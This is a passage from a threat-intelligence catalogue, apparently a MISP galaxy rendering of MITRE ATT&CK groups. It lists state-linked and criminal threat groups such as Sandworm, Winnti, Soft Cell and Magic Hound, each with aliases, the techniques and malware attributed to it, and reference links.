uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="KEYMARBLE - S0271" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BADCALL - S0245" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RATANKBA - S0241" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Bankshot - S0239" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HARDRAIN - S0246" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TYPEFRAME - S0263" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="AuditCred - S0347" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="WannaCry - S0366" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="RawDisk - S0364" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HOPLIGHT - S0376" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 2975. Table References
Links
https://attack.mitre.org/groups/G0032
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/
https://securelist.com/lazarus-under-the-hood/77908/
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/
https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing

Putter Panda - G0024

[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)

The tag is: misp-galaxy:mitre-intrusion-set="Putter Panda - G0024"

Putter Panda - G0024 is also known as:

Putter Panda
APT2
MSUpdater

Putter Panda - G0024 has relationships with:

similar: misp-galaxy:threat-actor="Putter Panda" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="httpclient - S0068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="pngdowner - S0067" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="almost-certain"

Table 2976. Table References
Links
https://attack.mitre.org/groups/G0024
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
http://blog.cylance.com/puttering-into-the-future

Scarlet Mimic - G0029

[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)

The tag is: misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"

Scarlet Mimic - G0029 is also known as:

Scarlet Mimic

Scarlet Mimic - G0029 has relationships with:

similar: misp-galaxy:threat-actor="Scarlet Mimic" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Psylo - S0078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CallMe - S0077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FakeM - S0076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="MobileOrder - S0079" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 2977. Table References
Links
https://attack.mitre.org/groups/G0029
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Poseidon Group - G0033

[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)

The tag is: misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033"

Poseidon Group - G0033 is also known as:

Poseidon Group

Poseidon Group - G0033 has relationships with:

similar: misp-galaxy:threat-actor="Poseidon Group" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 2978. Table References
Links
https://attack.mitre.org/groups/G0033
https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/

Sandworm Team - G0034

[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015. (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)

The tag is: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034"

Sandworm Team - G0034 is also known as:

Sandworm Team
Quedagh
VOODOO BEAR

Sandworm Team - G0034 has relationships with:

similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="almost-certain"

Table 2979. Table References
Links
https://attack.mitre.org/groups/G0034
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/
https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf
https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/

Stealth Falcon - G0038

[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)

The tag is: misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038"

Stealth Falcon - G0038 is also known as:

Stealth Falcon

Stealth Falcon - G0038 has relationships with:

similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 2980. Table References
Links
https://attack.mitre.org/groups/G0038
https://citizenlab.org/2016/05/stealth-falcon/

Soft Cell - G0093

Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)

The tag is: misp-galaxy:mitre-intrusion-set="Soft Cell - G0093"

Soft Cell - G0093 is also known as:

Soft Cell

Soft Cell - G0093 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Table 2981. Table References
Links
https://attack.mitre.org/groups/G0093
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

Winnti Group - G0044

[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044"

Winnti Group - G0044 is also known as:

Winnti Group
Blackfly

Winnti Group - G0044 has relationships with:

similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Winnti - S0141" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2982. Table References
Links
https://attack.mitre.org/groups/G0044
https://securelist.com/winnti-more-than-just-a-game/37029/
https://securelist.com/games-are-over/70991/
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
https://401trg.com/burning-umbrella/
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

Gamaredon Group - G0047

[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047"

Gamaredon Group - G0047 is also known as:

Gamaredon Group

Gamaredon Group - G0047 has relationships with:

similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Pteranodon - S0147" with estimative-language:likelihood-probability="almost-certain"

Table 2983. Table References
Links
https://attack.mitre.org/groups/G0047
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

Charming Kitten - G0058

[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group’s TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Charming Kitten - G0058"

Charming Kitten - G0058 is also known as:

Charming Kitten

Charming Kitten - G0058 has relationships with:

similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="DownPaper - S0186" with estimative-language:likelihood-probability="almost-certain"

Table 2984. Table References
Links
https://attack.mitre.org/groups/G0058
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf

Magic Hound - G0059

[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059"

Magic Hound - G0059 is also known as:

Magic Hound
Rocket Kitten
Operation Saffron Rose
Ajax Security Team
Operation Woolen-Goldfish
Newscaster
Cobalt Gypsy
APT35

Magic Hound - G0059 has relationships with:

similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="sqlmap - S0225" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Havij - S0224" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 2985. Table References
Links
https://attack.mitre.org/groups/G0059
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations

Stolen Pencil - G0086

